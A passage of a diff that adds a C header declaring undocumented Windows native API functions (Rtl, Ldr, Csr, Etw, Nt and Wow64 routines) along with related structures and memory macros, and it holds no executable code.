LARGE_INTEGER Subtrahend + ); + +LARGE_INTEGER +NTAPI +RtlExtendedMagicDivide ( + LARGE_INTEGER Dividend, + LARGE_INTEGER MagicDivisor, + CCHAR ShiftCount + ); + +LARGE_INTEGER +NTAPI +RtlExtendedLargeIntegerDivide ( + LARGE_INTEGER Dividend, + ULONG Divisor, + PULONG Remainder + ); + +LARGE_INTEGER +NTAPI +RtlLargeIntegerDivide ( + LARGE_INTEGER Dividend, + LARGE_INTEGER Divisor, + PLARGE_INTEGER Remainder + ); + +LARGE_INTEGER +NTAPI +RtlExtendedIntegerMultiply ( + LARGE_INTEGER Multiplicand, + LONG Multiplier + ); + +__inline +LARGE_INTEGER +NTAPI +RtlConvertLongToLargeInteger ( + LONG SignedInteger + ); + + +__inline +LARGE_INTEGER +NTAPI +RtlConvertUlongToLargeInteger ( + ULONG UnsignedInteger + ); + +__inline +LARGE_INTEGER +NTAPI +RtlLargeIntegerShiftLeft ( + LARGE_INTEGER LargeInteger, + CCHAR ShiftCount + ); + +__inline +LARGE_INTEGER +NTAPI +RtlLargeIntegerShiftRight ( + LARGE_INTEGER LargeInteger, + CCHAR ShiftCount + ); + + +__inline +LARGE_INTEGER +NTAPI +RtlLargeIntegerArithmeticShift ( + LARGE_INTEGER LargeInteger, + CCHAR ShiftCount + ); + + +__inline +BOOLEAN +NTAPI +RtlCheckBit ( + PRTL_BITMAP BitMapHeader, + ULONG BitPosition + ); + + +BOOLEAN +NTAPI +RtlIsValidOemCharacter ( + IN OUT PWCHAR Char + ); + +PIMAGE_NT_HEADERS +NTAPI +RtlpImageNtHeader( + PVOID Base + ); + +RTL_PATH_TYPE +RtlDetermineDosPathNameType_U( + IN PCWSTR DosFileName + ); + +PRTL_TRACE_DATABASE +RtlTraceDatabaseCreate ( + IN ULONG Buckets, + IN SIZE_T MaximumSize OPTIONAL, + IN ULONG Flags, // OPTIONAL in User mode + IN ULONG Tag, // OPTIONAL in User mode + IN RTL_TRACE_HASH_FUNCTION HashFunction OPTIONAL + ); + +BOOLEAN +RtlTraceDatabaseValidate ( + IN PRTL_TRACE_DATABASE Database + ); + +BOOLEAN +RtlTraceDatabaseAdd ( + IN PRTL_TRACE_DATABASE Database, + IN ULONG Count, + IN PVOID * Trace, + OUT PRTL_TRACE_BLOCK * TraceBlock OPTIONAL + ); + +BOOLEAN +RtlTraceDatabaseFind ( + PRTL_TRACE_DATABASE Database, + IN ULONG Count, + IN PVOID * Trace, + OUT PRTL_TRACE_BLOCK * TraceBlock OPTIONAL + ); + +BOOLEAN +RtlTraceDatabaseEnumerate ( + PRTL_TRACE_DATABASE Database, + OUT PRTL_TRACE_ENUMERATE Enumerate, + OUT PRTL_TRACE_BLOCK * TraceBlock + ); + +VOID +RtlTraceDatabaseLock ( + IN PRTL_TRACE_DATABASE Database + ); + +VOID +RtlTraceDatabaseUnlock ( + IN PRTL_TRACE_DATABASE Database + ); + +VOID +RtlpGetStackLimits ( + OUT PULONG_PTR LowLimit, + OUT PULONG_PTR HighLimit + ); + +NTSTATUS +NTAPI +RtlEnterCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSTATUS +NTAPI +RtlLeaveCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +LOGICAL +NTAPI +RtlIsCriticalSectionLocked ( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + +LOGICAL +NTAPI +RtlIsCriticalSectionLockedByThread ( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + +ULONG +NTAPI +RtlGetCriticalSectionRecursionCount ( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + +LOGICAL +NTAPI +RtlTryEnterCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSTATUS +NTAPI +RtlInitializeCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +VOID +NTAPI +RtlEnableEarlyCriticalSectionEventCreation( + VOID + ); + +NTSTATUS +NTAPI +RtlInitializeCriticalSectionAndSpinCount( + PRTL_CRITICAL_SECTION CriticalSection, + ULONG SpinCount + ); + +ULONG +NTAPI +RtlSetCriticalSectionSpinCount( + PRTL_CRITICAL_SECTION CriticalSection, + ULONG SpinCount + ); + +NTSTATUS +NTAPI +RtlDeleteCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSTATUS +NTAPI +LdrDisableThreadCalloutsForDll ( + IN PVOID DllHandle + ); + +NTSTATUS +NTAPI +LdrLoadDll( + IN OPTIONAL PWSTR DllPath, + IN OPTIONAL PULONG DllCharacteristics, + IN PUNICODE_STRING DllName, + OUT PVOID *DllHandle + ); + +NTSTATUS +NTAPI +LdrUnloadDll( + IN PVOID DllHandle + ); + +NTSTATUS +NTAPI +LdrGetDllHandle( + IN OPTIONAL PWSTR DllPath, + IN OPTIONAL PULONG DllCharacteristics, + IN PUNICODE_STRING DllName, + OUT PVOID *DllHandle + ); + +NTSTATUS +NTAPI +LdrGetDllHandleEx( + IN ULONG Flags, + IN OPTIONAL PCWSTR DllPath, + IN OPTIONAL PULONG DllCharacteristics, + IN PUNICODE_STRING DllName, + OUT OPTIONAL PVOID *DllHandle + ); + +NTSTATUS +NTAPI +LdrGetDllHandleByMapping( + IN PVOID Base, + OUT PVOID *DllHandle + ); + +NTSTATUS +NTAPI +LdrGetDllHandleByName( + IN OPTIONAL PUNICODE_STRING BaseDllName, + IN OPTIONAL PUNICODE_STRING FullDllName, + OUT PVOID *DllHandle + ); + +NTSTATUS +NTAPI +LdrAddRefDll( + IN ULONG Flags, + IN PVOID DllHandle + ); + +NTSTATUS +NTAPI +LdrGetProcedureAddress( + IN PVOID DllHandle, + IN OPTIONAL PANSI_STRING ProcedureName, + IN OPTIONAL ULONG ProcedureNumber, + OUT PVOID *ProcedureAddress + ); + +NTSTATUS +NTAPI +LdrGetProcedureAddressEx( + IN PVOID DllHandle, + IN OPTIONAL PANSI_STRING ProcedureName, + IN OPTIONAL ULONG ProcedureNumber, + OUT PVOID *ProcedureAddress, + IN ULONG Flags + ); + +NTSTATUS +NTAPI +LdrLockLoaderLock( + IN ULONG Flags, + OUT OPTIONAL ULONG *Disposition, + OUT PVOID *Cookie + ); + +NTSTATUS +NTAPI +LdrRelocateImage( + IN PVOID NewBase, + IN PSTR LoaderName, + IN NTSTATUS Success, + IN NTSTATUS Conflict, + IN NTSTATUS Invalid + ); + +NTSTATUS +NTAPI +LdrRelocateImageWithBias( + IN PVOID NewBase, + IN LONGLONG Bias, + IN PSTR LoaderName, + IN NTSTATUS Success, + IN NTSTATUS Conflict, + IN NTSTATUS Invalid + ); + +PIMAGE_BASE_RELOCATION +NTAPI +LdrProcessRelocationBlock( + IN ULONG_PTR VA, + IN ULONG SizeOfBlock, + IN PUSHORT NextOffset, + IN LONG_PTR Diff + ); + +BOOLEAN +NTAPI +LdrVerifyMappedImageMatchesChecksum( + IN PVOID BaseAddress, + IN SIZE_T NumberOfBytes, + IN ULONG FileLength + ); + +NTSTATUS +NTAPI +LdrQueryModuleServiceTags( + IN PVOID DllHandle, + OUT PULONG ServiceTagBuffer, + IN OUT PULONG BufferSize + ); + +NTSTATUS +NTAPI +LdrRegisterDllNotification( + IN ULONG Flags, + IN PLDR_DLL_NOTIFICATION_FUNCTION NotificationFunction, + IN PVOID Context, + OUT PVOID *Cookie + ); + +NTSTATUS +NTAPI +LdrUnregisterDllNotification( + IN PVOID Cookie + ); + +ULONG +NTAPI +CsrGetProcessId( + ); + +void +NTAPI +A_SHAFinal( + PSHA_CTX Context, + PULONG Result + ); + + +PVOID +NTAPI +A_SHAUpdate( + IN OUT PSHA_CTX, + IN PCHAR, + IN UINT + ); + +PVOID +NTAPI +A_SHAInit( + IN OUT PSHA_CTX, + OUT PVOID + ); + +BOOLEAN +NTAPI +RtlDosPathNameToNtPathName_U( + IN PCWSTR DosFileName, + OUT PUNICODE_STRING NtFileName, + OUT PWSTR *FilePart OPTIONAL, + PVOID Reserved + ); + +NTSTATUS +NTAPI +RtlDosPathNameToNtPathName_U_WithStatus( + IN PCWSTR DosFileName, + OUT PUNICODE_STRING NtFileName, + OUT PWSTR *FilePart OPTIONAL, + PVOID Reserved // Must be NULL + ); + +PVOID +NTAPI +RtlAddVectoredExceptionHandler ( + IN ULONG First, + IN PVECTORED_EXCEPTION_HANDLER Handler + ); + +PVOID +NTAPI +RtlAddVectoredContinueHandler ( + IN ULONG First, + IN PVECTORED_EXCEPTION_HANDLER Handler + ); + +NTSTATUS +NTAPI +RtlAnalyzeProfile ( + VOID + ); + +BOOLEAN +NTAPI +RtlCallVectoredContinueHandlers ( + IN PEXCEPTION_RECORD ExceptionRecord, + IN PCONTEXT ContextRecord + ); + +PVOID +RtlEncodePointer( + PVOID Ptr + ); + +PVOID +RtlDecodePointer( + PVOID Ptr + ); + +PVOID +RtlEncodeSystemPointer( + PVOID Ptr + ); + +PVOID +RtlDecodeSystemPointer( + PVOID Ptr + ); + +VOID +NTAPI +RtlDeleteResource( + PRTL_RESOURCE Resource + ); + +NTSTATUS +NTAPI +RtlDeleteSecurityObject( + PSECURITY_DESCRIPTOR * ObjectDescriptor + ); + +BOOLEAN +RtlDllShutdownInProgress( + VOID + ); + +ULONG +NTAPI +RtlGetCurrentProcessorNumber ( + VOID + ); + +#define RTL_UNLOAD_EVENT_TRACE_NUMBER 16 + +typedef struct _RTL_UNLOAD_EVENT_TRACE { + PVOID BaseAddress; // Base address of dll + SIZE_T SizeOfImage; // Size of image + ULONG Sequence; // Sequence number for this event + ULONG TimeDateStamp; // Time and date of image + ULONG CheckSum; // Image checksum + WCHAR ImageName[32]; // Image name +} RTL_UNLOAD_EVENT_TRACE, *PRTL_UNLOAD_EVENT_TRACE; + +typedef struct _RTL_UNLOAD_EVENT_TRACE64 { + ULONGLONG BaseAddress; // Base address of dll + ULONGLONG SizeOfImage; // Size of image + ULONG Sequence; // Sequence number for this event + ULONG TimeDateStamp; // Time and date of image + ULONG CheckSum; // Image checksum + WCHAR ImageName[32]; // Image name +} RTL_UNLOAD_EVENT_TRACE64, *PRTL_UNLOAD_EVENT_TRACE64; + +typedef struct _RTL_UNLOAD_EVENT_TRACE32 { + ULONG BaseAddress; // Base address of dll + ULONG SizeOfImage; // Size of image + ULONG Sequence; // Sequence number for this event + ULONG TimeDateStamp; // Time and date of image + ULONG CheckSum; // Image checksum + WCHAR ImageName[32]; // Image name +} RTL_UNLOAD_EVENT_TRACE32, *PRTL_UNLOAD_EVENT_TRACE32; + +PRTL_UNLOAD_EVENT_TRACE +NTAPI +RtlGetUnloadEventTrace( + VOID + ); + +NTSTATUS +NTAPI +RtlInitializeProfile( + BOOLEAN KernelToo + ); + +typedef BOOLEAN +(NTAPI * +PRTL_IS_THREAD_WITHIN_LOADER_CALLOUT)( + VOID + ); + +BOOLEAN +NTAPI +RtlIsThreadWithinLoaderCallout ( + VOID + ); + +NTSTATUS +NTAPI +RtlSetLFHDebuggingInformation( + PVOID LFHHeap, + PHEAP_DEBUGGING_INFORMATION DebuggingInformation + ); + +ULONG +NTAPI +RtlMultipleAllocateHeap ( + IN PVOID HeapHandle, + IN ULONG Flags, + IN SIZE_T Size, + IN ULONG Count, + OUT PVOID * Array + ); + +ULONG +NTAPI +RtlMultipleFreeHeap ( + IN PVOID HeapHandle, + IN ULONG Flags, + IN ULONG Count, + OUT PVOID * Array + ); + +NTSTATUS +NTAPI +RtlNewSecurityObjectEx ( + IN PSECURITY_DESCRIPTOR ParentDescriptor OPTIONAL, + IN PSECURITY_DESCRIPTOR CreatorDescriptor OPTIONAL, + OUT PSECURITY_DESCRIPTOR * NewDescriptor, + IN GUID *ObjectType OPTIONAL, + IN BOOLEAN IsDirectoryObject, + IN ULONG AutoInheritFlags, + IN HANDLE Token, + IN PGENERIC_MAPPING GenericMapping + ); + +NTSTATUS +NTAPI +RtlNewSecurityObjectWithMultipleInheritance ( + IN PSECURITY_DESCRIPTOR ParentDescriptor OPTIONAL, + IN PSECURITY_DESCRIPTOR CreatorDescriptor OPTIONAL, + OUT PSECURITY_DESCRIPTOR * NewDescriptor, + IN GUID **pObjectType OPTIONAL, + IN ULONG GuidCount, + IN BOOLEAN IsDirectoryObject, + IN ULONG AutoInheritFlags, + IN HANDLE Token, + IN PGENERIC_MAPPING GenericMapping + ); + +#if !defined(_WINDOWS_) +NTSTATUS +NTAPI +RtlSetHeapInformation ( + IN PVOID HeapHandle, + IN HEAP_INFORMATION_CLASS HeapInformationClass, + IN PVOID HeapInformation OPTIONAL, + IN SIZE_T HeapInformationLength OPTIONAL + ); + +NTSTATUS +NTAPI +RtlQueryHeapInformation ( + IN PVOID HeapHandle, + IN HEAP_INFORMATION_CLASS HeapInformationClass, + OUT PVOID HeapInformation OPTIONAL, + IN SIZE_T HeapInformationLength OPTIONAL, + OUT PSIZE_T ReturnLength OPTIONAL + ); +#endif + +NTSTATUS +NTAPI +RtlQuerySecurityObject ( + PSECURITY_DESCRIPTOR ObjectDescriptor, + SECURITY_INFORMATION SecurityInformation, + PSECURITY_DESCRIPTOR ResultantDescriptor, + ULONG DescriptorLength, + PULONG ReturnLength + ); + +NTSTATUS +NTAPI +RtlRegisterWait( + OUT PHANDLE WaitHandle, + IN HANDLE Handle, + IN WAITORTIMERCALLBACKFUNC Function, + IN PVOID Context, + IN ULONG Milliseconds, + IN ULONG Flags + ); + +ULONG +NTAPI +RtlRemoveVectoredContinueHandler ( + IN PVOID Handle + ); + +ULONG +NTAPI +RtlRemoveVectoredExceptionHandler ( + IN PVOID Handle + ); + +NTSTATUS +NTAPI +RtlSetIoCompletionCallback( + IN HANDLE FileHandle, + IN APC_CALLBACK_FUNCTION CompletionProc, + IN ULONG Flags + ); + +NTSTATUS +NTAPI +RtlSetSecurityObject( + SECURITY_INFORMATION SecurityInformation, + PSECURITY_DESCRIPTOR ModificationDescriptor, + PSECURITY_DESCRIPTOR *ObjectsSecurityDescriptor, + PGENERIC_MAPPING GenericMapping, + HANDLE Token + ); + +NTSTATUS +NTAPI +RtlSetSecurityObjectEx( + IN SECURITY_INFORMATION SecurityInformation, + IN PSECURITY_DESCRIPTOR ModificationDescriptor, + IN OUT PSECURITY_DESCRIPTOR *ObjectsSecurityDescriptor, + IN ULONG AutoInheritFlags, + IN PGENERIC_MAPPING GenericMapping, + IN HANDLE Token OPTIONAL + ); + +typedef ULONG (NTAPI RTLP_UNHANDLED_EXCEPTION_FILTER) ( + struct _EXCEPTION_POINTERS *ExceptionInfo + ); + +typedef RTLP_UNHANDLED_EXCEPTION_FILTER *PRTLP_UNHANDLED_EXCEPTION_FILTER; + +VOID +RtlSetUnhandledExceptionFilter ( + PRTLP_UNHANDLED_EXCEPTION_FILTER UnhandledExceptionFilter + ); + +NTSTATUS +NTAPI +RtlStartProfile ( + VOID + ); + +NTSTATUS +NTAPI +RtlStopProfile ( + VOID + ); + +NTSTATUS +RtlWow64EnableFsRedirection( + IN BOOLEAN Wow64FsEnableRedirection + ); + + +NTSTATUS +RtlWow64EnableFsRedirectionEx( + IN PVOID Wow64FsEnableRedirection, + OUT PVOID *OldFsRedirectionLevel + ); + +NTSTATUS +NTAPI +RtlRegisterWait( + OUT PHANDLE WaitHandle, + IN HANDLE Handle, + IN WAITORTIMERCALLBACKFUNC Function, + IN PVOID Context, + IN ULONG Milliseconds, + IN ULONG Flags + ); + +NTSTATUS +NTAPI +RtlDeregisterWait( + IN HANDLE WaitHandle + ); + +NTSTATUS +NTAPI +RtlDeregisterWaitEx( + IN HANDLE WaitHandle, + IN HANDLE Event + ); + +#define RtlEqualMemory(Destination,Source,Length) (!memcmp((Destination),(Source),(Length))) +#define RtlMoveMemory(Destination,Source,Length) memmove((Destination),(Source),(Length)) +#define RtlCopyMemory(Destination,Source,Length) memcpy((Destination),(Source),(Length)) +#define RtlFillMemory(Destination,Length,Fill) memset((Destination),(Fill),(Length)) +#define RtlZeroMemory(Destination,Length) memset((Destination),0,(Length)) + +typedef +VOID +(*PKNORMAL_ROUTINE) +(IN PVOID NormalContext, + IN PVOID SystemArgument1, + IN PVOID SystemArgument2 + ); + +VOID +KiUserCallbackDispatcher( + IN ULONG ApiNumber, + IN PVOID InputBuffer, + IN ULONG INputLength + ); + +NTSTATUS +NTAPI +CsrClientConnectToServer( + IN PWSTR ObjectDirectory, + IN ULONG ServertDllIndex, + IN PCSR_CALLBACK_INFO CallbackInformation OPTIONAL, + IN PVOID ConnectionInformation, + IN OUT PULONG ConnectionInformationLength OPTIONAL, + OUT PBOOLEAN CalledFromServer OPTIONAL + ); + + +NTSTATUS +NTAPI +CsrClientCallServer( + IN OUT PCSR_API_MSG m, + IN OUT PCSR_CAPTURE_HEADER CaptureBuffer OPTIONAL, + IN CSR_API_NUMBER ApiNumber, + IN ULONG ArgLength + ); + + +PCSR_CAPTURE_HEADER +NTAPI +CsrAllocateCaptureBuffer( + IN ULONG CountMessagePointers, + IN ULONG CountCapturePointers, + IN ULONG Size + ); + +VOID +NTAPI +CsrFreeCaptureBuffer( + IN PCSR_CAPTURE_HEADER CaptureBuffer + ); + + +ULONG +NTAPI +CsrAllocateMessagePointer( + IN OUT PCSR_CAPTURE_HEADER CaptureBuffer, + IN ULONG Length, + OUT PVOID *Pointer + ); + +VOID +NTAPI +CsrCaptureMessageBuffer( + IN OUT PCSR_CAPTURE_HEADER CaptureBuffer, + IN PVOID Buffer OPTIONAL, + IN ULONG Length, + OUT PVOID *CapturedBuffer + ); + +VOID +NTAPI +CsrCaptureMessageString( + IN OUT PCSR_CAPTURE_HEADER CaptureBuffer, + IN PCSTR String, + IN ULONG Length, + IN ULONG MaximumLength, + OUT PSTRING CapturedString + ); + +PLARGE_INTEGER +NTAPI +CsrCaptureTimeout( + IN ULONG Milliseconds, + OUT PLARGE_INTEGER Timeout + ); + +VOID +NTAPI +CsrProbeForWrite( + IN PVOID Address, + IN ULONG Length, + IN ULONG Alignment + ); + +VOID +NTAPI +CsrProbeForRead( + IN PVOID Address, + IN ULONG Length, + IN ULONG Alignment + ); + +NTSTATUS +NTAPI +CsrNewThread( + VOID + ); + +NTSTATUS +NTAPI +CsrIdentifyAlertableThread( + VOID + ); + +NTSTATUS +NTAPI +CsrSetPriorityClass( + IN HANDLE ProcessHandle, + IN OUT PULONG PriorityClass + ); + +//added 20/03/2011 +NTSTATUS +NTAPI +RtlCreateProcessReflection( + IN HANDLE ProcessHandle, + IN ULONG Flags, + IN OPTIONAL PVOID StartRoutine, + IN OPTIONAL PVOID StartContext, + IN OPTIONAL HANDLE EventHandle, + OUT OPTIONAL PRTL_PROCESS_REFLECTION_INFORMATION ReflectionInformation + ); + + +NTSTATUS +NTAPI +RtlCloneUserProcess( + IN ULONG ProcessFlags, + IN OPTIONAL PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, + IN OPTIONAL PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, + IN OPTIONAL HANDLE DebugPort, + OUT PRTL_USER_PROCESS_INFORMATION ProcessInformation + ); + + +VOID +NTAPI +LdrShutdownProcess( + ); + +NTSTATUS +NTAPI +RtlQueryProcessModuleInformation( + IN HANDLE hProcess OPTIONAL, + IN ULONG Flags, + IN OUT PRTL_DEBUG_INFORMATION Buffer + ); + +NTSTATUS +NTAPI +RtlQueryProcessBackTraceInformation( + IN OUT PRTL_DEBUG_INFORMATION Buffer + ); + +NTSTATUS +NTAPI +RtlQueryProcessHeapInformation( + IN OUT PRTL_DEBUG_INFORMATION Buffer + ); + +NTSTATUS +NTAPI +RtlQueryProcessLockInformation( + IN OUT PRTL_DEBUG_INFORMATION Buffer + ); + +PRTL_DEBUG_INFORMATION +NTAPI +RtlCreateQueryDebugBuffer( + IN ULONG MaximumCommit OPTIONAL, + IN BOOLEAN UseEventPair + ); + +NTSTATUS +NTAPI +RtlDestroyQueryDebugBuffer( + IN PRTL_DEBUG_INFORMATION Buffer + ); + +NTSTATUS +NTAPI +RtlQueryProcessDebugInformation( + IN HANDLE UniqueProcessId, + IN ULONG Flags, + IN OUT PRTL_DEBUG_INFORMATION Buffer + ); + +NTSTATUS +NTAPI +RtlCreateTimer( + IN HANDLE TimerQueueHandle, + OUT HANDLE *Handle, + IN WAITORTIMERCALLBACKFUNC Function, + IN PVOID Context, + IN ULONG DueTime, + IN ULONG Period, + IN ULONG Flags + ); + +NTSTATUS +NTAPI +RtlUpdateTimer( + IN HANDLE TimerQueueHandle, + IN HANDLE TimerHandle, + IN ULONG DueTime, + IN ULONG Period + ); + +NTSTATUS +NTAPI +RtlDeleteTimer( + IN HANDLE TimerQueueHandle, + IN HANDLE TimerToCancel, + IN HANDLE Event + ); + +NTSTATUS +NTAPI +RtlDeleteTimerQueue( + IN HANDLE TimerQueueHandle + ); + +NTSTATUS +NTAPI +RtlDeleteTimerQueueEx( + IN HANDLE TimerQueueHandle, + IN HANDLE Event + ); + + +BOOLEAN +NTAPI +RtlDoesFileExists_U( + PCWSTR FileName + ); + + +ULONG +RtlGetCurrentDirectory_U( + ULONG nBufferLength, + PWSTR lpBuffer + ); + +NTSTATUS +RtlSetCurrentDirectory_U( + PUNICODE_STRING PathName + ); + + +ULONG +RtlDosSearchPath_U( + IN PWSTR lpPath, + IN PWSTR lpFileName, + IN PWSTR lpExtension OPTIONAL, + IN ULONG nBufferLength, + OUT PWSTR lpBuffer, + OUT PWSTR *lpFilePart + ); + + +void +NTAPI +RtlInitString( + PSTRING DestinationString, + PCSZ SourceString + ); + +ULONG +NTAPI +RtlGetFullPathName_U( + IN PCWSTR lpFileName, + IN ULONG nBufferLength, + OUT PWSTR lpBuffer, + OUT OPTIONAL PWSTR *lpFilePart + ); + +LONG +NTAPI +RtlCompareString( + const STRING * String1, + const STRING * String2, + BOOLEAN CaseInSensitive + ); + + +NTSTATUS +NTAPI +LdrRegisterDllNotification( + IN ULONG Flags, + IN PLDR_DLL_NOTIFICATION_FUNCTION NotificationFunction, + IN PVOID Context, + OUT PVOID *Cookie + ); + + +NTSTATUS +NTAPI +LdrUnregisterDllNotification( + IN PVOID Cookie + ); + + +ULONG +NTAPI +EtwRegisterSecurityProvider(); + +ULONG +NTAPI +EtwWriteUMSecurityEvent( + PCEVENT_DESCRIPTOR EventDescriptor, + USHORT EventProperty, + ULONG UserDataCount, + PEVENT_DATA_DESCRIPTOR UserData); + + +ULONG +NTAPI +EtwEventWriteEndScenario( + REGHANDLE RegHandle, + PCEVENT_DESCRIPTOR EventDescriptor, + ULONG UserDataCount, + PEVENT_DATA_DESCRIPTOR UserData + ); + +ULONG +NTAPI +EtwEventWriteFull( + REGHANDLE RegHandle, + PCEVENT_DESCRIPTOR EventDescriptor, + USHORT EventProperty, + LPCGUID ActivityId, + LPCGUID RelatedActivityId, + ULONG UserDataCount, + PEVENT_DATA_DESCRIPTOR UserData + ); + + +ULONG +NTAPI +EtwEventWriteStartScenario( + REGHANDLE RegHandle, + PCEVENT_DESCRIPTOR EventDescriptor, + ULONG UserDataCount, + PEVENT_DATA_DESCRIPTOR UserData + ); + + +// +// old channel apis, from nt4 +// + +NTSTATUS +NTAPI +NtCreateChannel ( + OUT PHANDLE ChannelHandle, + IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL + ); + +NTSTATUS +NTAPI +NtOpenChannel ( + OUT PHANDLE ChannelHandle, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS +NTAPI +NtListenChannel ( + IN HANDLE ChannelHandle, + OUT PCHANNEL_MESSAGE *Message + ); + +NTSTATUS +NTAPI +NtSendWaitReplyChannel ( + IN HANDLE ChannelHandle, + IN PVOID Text, + IN ULONG Length, + OUT PCHANNEL_MESSAGE *Message + ); + +NTSTATUS +NTAPI +NtReplyWaitSendChannel ( + IN PVOID Text, + IN ULONG Length, + OUT PCHANNEL_MESSAGE *Message + ); + + +ULONG +NTAPI +AlpcUnregisterCompletionListWorkerThread( + PVOID CompletionList + ); + + +void +NTAPI +RtlUpdateClonedCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSTATUS +NTAPI +RtlGetFullPathName_UstrEx( + PUNICODE_STRING FileName, + PUNICODE_STRING StaticString, + PUNICODE_STRING DynamicString, + PPUNICODE_STRING StringUsed, + PULONG FilePartPrefixCch, + PUCHAR NameInvalid, + PRTL_PATH_TYPE InputPathType, + PULONG BytesRequired); + +int +NTAPI +LdrInitShimEngineDynamic( + PVOID pShimEngineModule); + +NTSTATUS +NTAPI +NtCreateKey( + OUT PHANDLE KeyHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + ULONG TitleIndex, + IN OPTIONAL PUNICODE_STRING Class, + IN ULONG CreateOptions, + OUT OPTIONAL PULONG Disposition + ); + +NTSTATUS +NTAPI +NtSetValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName, + IN OPTIONAL ULONG TitleIndex, + IN ULONG Type, + IN OPTIONAL PVOID Data, + IN ULONG DataSize + ); + +NTSTATUS +NTAPI +NtDeleteFile ( + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS +RtlGetVersion( + OUT PRTL_OSVERSIONINFOW lpVersionInformation + ); + +NTSTATUS +NTAPI +ZwWow64QueryInformationProcess64( + IN HANDLE ProcessHandle, + IN PROCESSINFOCLASS ProcessInformationClass, + OUT PVOID ProcessInformation, + IN ULONG ProcessInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +ZwWow64QueryVirtualMemory64( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress, + IN MEMORY_INFORMATION_CLASS MemoryInformationClass, + OUT PVOID MemoryInformation, + IN SIZE_T MemoryInformationLength, + OUT OPTIONAL PSIZE_T ReturnLength + ); + + +NTSTATUS +NTAPI +ZwWow64ReadVirtualMemory64( + IN HANDLE ProcessHandle, + IN OPTIONAL PVOID BaseAddress, + OUT PVOID Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesRead + ); + + +NTSTATUS +NTAPI +ZwWow64WriteVirtualMemory64( + IN HANDLE ProcessHandle, + IN OPTIONAL PVOID BaseAddress, + IN CONST VOID *Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesWritten + ); + +void +NTAPI +ZwWow64GetCurrentProcessorNumberEx( + OUT PPROCESSOR_NUMBER ProcNumber +); + +PCSR_CAPTURE_HEADER +NTAPI +ZwWow64CsrAllocateCaptureBuffer( + IN ULONG CountMessagePointers, + IN ULONG CountCapturePointers, + IN ULONG Size + ); + +ULONG +NTAPI +ZwWow64CsrAllocateMessagePointer( + IN OUT PCSR_CAPTURE_HEADER CaptureBuffer, + IN ULONG Length, + OUT PVOID *Pointer + ); + +void +NTAPI +ZwWow64CsrCaptureMessageBuffer( + IN OUT PCSR_CAPTURE_HEADER CaptureBuffer, + IN PVOID Buffer OPTIONAL, + IN ULONG Length, + OUT PVOID *CapturedBuffer + ); + +void +NTAPI +ZwWow64CsrCaptureMessageString( + IN OUT PCSR_CAPTURE_HEADER CaptureBuffer, + IN PCSTR String, + IN ULONG Length, + IN ULONG MaximumLength, + OUT PSTRING CapturedString + ); + +NTSTATUS +NTAPI +ZwWow64CsrClientConnectToServer( + IN PWSTR ObjectDirectory, + IN ULONG ServerDllIndex, + IN PCSR_CALLBACK_INFO CallbackInformation OPTIONAL, + IN PVOID ConnectionInformation, + IN OUT PULONG ConnectionInformationLength OPTIONAL, + OUT PBOOLEAN CalledFromServer OPTIONAL + ); + +void +NTAPI +ZwWow64CsrFreeCaptureBuffer( + IN PCSR_CAPTURE_HEADER CaptureBuffer + ); + +NTSTATUS +NTAPI +ZwWow64CsrIdentifyAlertableThread( + void + ); + +NTSTATUS +NTAPI +ZwWow64DebuggerCall ( + IN ULONG ServiceClass, + IN ULONG Arg1, + IN ULONG Arg2 + ); + +NTSTATUS +NTAPI +RtlCleanUpTEBLangLists( + void + ); + +VOID +KiUserApcDispatcher ( + PVOID NormalContext, + PVOID SystemArgument1, + PVOID SystemArgument2, + PKNORMAL_ROUTINE NormalRoutine + ); + +VOID +KiUserExceptionDispatcher ( + PEXCEPTION_RECORD ExceptionRecord, + PCONTEXT ContextFrame + ); + +NTSTATUS +NTAPI +NtCreateDebugObject( + OUT PHANDLE DebugObjectHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG Flags + ); + +NTSTATUS +NTAPI +NtDebugActiveProcess( + IN HANDLE ProcessHandle, + IN HANDLE DebugObjectHandle + ); + +NTSTATUS +NTAPI +NtDebugContinue( + IN HANDLE DebugObjectHandle, + IN PCLIENT_ID ClientId, + IN NTSTATUS ContinueStatus + ); + +NTSTATUS +NTAPI +NtRemoveProcessDebug( + IN HANDLE ProcessHandle, + IN HANDLE DebugObjectHandle + ); + +NTSTATUS +NTAPI +NtSetInformationDebugObject( + IN HANDLE DebugObjectHandle, + IN DEBUGOBJECTINFOCLASS DebugObjectInformationClass, + IN PVOID DebugInformation, + IN ULONG DebugInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + +NTSTATUS +NTAPI +NtWaitForDebugEvent( + IN HANDLE DebugObjectHandle, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout, + OUT PVOID WaitStateChange + ); + +// Debugging UI + +NTSTATUS +NTAPI +DbgUiConnectToDbg( + VOID + ); + +HANDLE +NTAPI +DbgUiGetThreadDebugObject( + VOID + ); + +VOID +NTAPI +DbgUiSetThreadDebugObject( + IN HANDLE DebugObject + ); + +NTSTATUS +NTAPI +DbgUiWaitStateChange( + OUT PDBGUI_WAIT_STATE_CHANGE StateChange, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + +NTSTATUS +NTAPI +DbgUiContinue( 